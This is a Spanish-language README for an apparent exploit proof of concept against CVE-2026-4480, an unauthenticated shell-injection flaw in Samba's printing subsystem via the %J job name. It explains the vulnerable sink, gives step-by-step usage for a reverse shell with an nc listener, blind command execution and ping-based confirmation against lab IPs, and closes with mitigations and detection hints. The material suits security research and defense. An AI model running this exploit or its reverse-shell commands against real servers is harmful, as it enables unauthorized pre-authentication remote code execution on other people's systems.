
Prueba de concepto de exploit para CVE-2026-4480, una inyección remota de comandos no autenticada en el subsistema de impresión de Samba a través del parámetro %J job name. Incluye modos de shell inversa y ejecución de comandos ciega.
%J) de Samba - PoCImportante — Lea esto primero:
Este repositorio yexploit.pyse proporcionan solo con fines educativos y de investigación. No use este código contra sistemas, redes o servicios para los cuales no tenga autorización explícita y por escrito. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. Al usar este código, acepta cumplir con las leyes aplicables y las políticas institucionales.
Ejecución remota de comandos no autenticada en el subsistema de impresión de Samba. Cuando un trabajo de impresión
finaliza su spool, Samba ejecuta el print command configurado a través de system(),
sustituyendo %s (ruta del archivo de spool) y %J (nombre del trabajo proporcionado por el cliente) en la
cadena. Antes de la corrección, el nombre del trabajo se pasaba con la única transformación
' → _ y nada más, por lo que |, ;, &, espacios, <, > y acentos graves llegan
al shell. Un print command que haga referencia a %J es, por lo tanto, un sumidero de inyección de shell,
y dado que los invitados pueden enviar trabajos de impresión, el problema es pre-autenticación.
print command externo que hace referencia a %J
(printing = sysv-style). printing = cups / iprint pasan a través de la API de CUPS y no están afectados.sudo apt install python3-samba
print command haga referencia a %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
# terminal 1: listener
nc -lvnp 4444
# terminal 2: lanzar el exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Debería obtener una shell como la cuenta del servicio de impresión (ej. nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Debido a que la ejecución es a ciegas (el comando se ejecuta en el servidor y no devuelve nada en el
canal RPC), confírmelo primero fuera de banda, por ejemplo, con una llamada ICMP que observe con
tcpdump -ni tun0 icmp:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',
elimine %J, o cámbiese a printing = cups.smbd generando shells (sh/bash/nc/python/curl) y nombres de documentos
que contengan metacaracteres de shell.He creado una máquina en HackTheBox llamada Abducted para mostrar la vulnerabilidad y darle un ejemplo práctico de cómo los atacantes podrían aprovecharla en un entorno mal configurado.
| Argumento/opción | Significado |
|---|
rhost | Host/IP de Samba objetivo |
lhost | IP de su listener |
lport | Puerto de su listener |
-P, --printer | Nombre del recurso compartido de impresora invitado (por defecto: HP-Reception) |
-c, --cmd | Ejecutar un comando arbitrario en lugar de una reverse shell |